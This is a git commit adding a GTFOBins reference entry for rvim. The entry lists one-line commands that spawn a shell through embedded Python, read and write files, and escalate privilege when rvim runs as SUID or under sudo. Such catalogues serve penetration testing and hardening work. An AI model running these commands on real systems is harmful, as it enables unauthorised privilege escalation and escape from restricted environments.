Add vi(m) commands (#39)
This commit is contained in:
18
_gtfobins/rvim.md
Normal file
18
_gtfobins/rvim.md
Normal file
@@ -0,0 +1,18 @@
|
||||
---
|
||||
description: 'From the manual: with rvim "It will not be possible to start shell commands".'
|
||||
functions:
|
||||
shell:
|
||||
- code: rvim -c ':py import os;os.system("sh")'
|
||||
file-write:
|
||||
- code: |
|
||||
rvim file_to_write
|
||||
iDATA
|
||||
^[
|
||||
w
|
||||
file-read:
|
||||
- code: rvim file_to_read
|
||||
suid:
|
||||
- code: ./rvim -c ':py import os;os.system("sh")'
|
||||
sudo:
|
||||
- code: sudo rvim -c ':py import os;os.system("sh")'
|
||||
---
|
||||
Reference in New Issue
Block a user